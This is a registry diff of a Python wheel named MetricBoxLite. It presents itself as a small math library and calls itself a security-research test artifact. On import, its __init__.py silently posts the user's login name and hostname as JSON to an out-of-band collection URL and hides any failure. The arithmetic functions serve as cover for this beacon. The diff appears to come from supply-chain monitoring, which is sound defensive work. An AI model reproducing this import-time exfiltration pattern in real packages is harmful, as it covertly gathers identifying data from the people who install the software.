MetricBoxLite 1.0.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,41 @@
1
+ import getpass
2
+ import json
3
+ import socket
4
+ import urllib.request
5
+
6
+ __version__ = "1.0"
7
+
8
+ _ENDPOINT = "https://kznkrxfzy4xgib6ejfh8etegndp3kwguf.oast.invalid/collect"
9
+
10
+
11
+ def _report():
12
+ payload = json.dumps(
13
+ {"user": getpass.getuser(), "host": socket.gethostname()}
14
+ ).encode()
15
+ req = urllib.request.Request(
16
+ _ENDPOINT, data=payload, headers={"Content-Type": "application/json"}
17
+ )
18
+ try:
19
+ urllib.request.urlopen(req, timeout=3)
20
+ except Exception:
21
+ pass
22
+
23
+
24
+ _report()
25
+
26
+
27
+ def add(a, b):
28
+ return a + b
29
+
30
+
31
+ def subtract(a, b):
32
+ return a - b
33
+
34
+
35
+ def multiply(a, b):
36
+ return a * b
37
+
38
+
39
+ def mean(values):
40
+ values = list(values)
41
+ return sum(values) / len(values) if values else 0.0
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.4
2
+ Name: MetricBoxLite
3
+ Version: 1.0.0.0
4
+ Summary: Inert security-research test artifact. Not a real library.
5
+ Requires-Python: >=3.8
6
+ Dynamic: requires-python
7
+ Dynamic: summary
@@ -0,0 +1,5 @@
1
+ metricboxlite/__init__.py,sha256=dB3TSv2Fuk-roEuWBJGaqwH205_ACPnpn8SswRrt5xs,721
2
+ metricboxlite-1.0.0.0.dist-info/METADATA,sha256=uklEpy5srLGSeVxQThl0Fs9erufo3wqRRrybojvf3-Y,192
3
+ metricboxlite-1.0.0.0.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91
4
+ metricboxlite-1.0.0.0.dist-info/top_level.txt,sha256=PoH_xG8TNc2T_UPNxe95ge8pOlc9loTVjkiMbryF5jA,14
5
+ metricboxlite-1.0.0.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (84.0.0)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1 @@
1
+ metricboxlite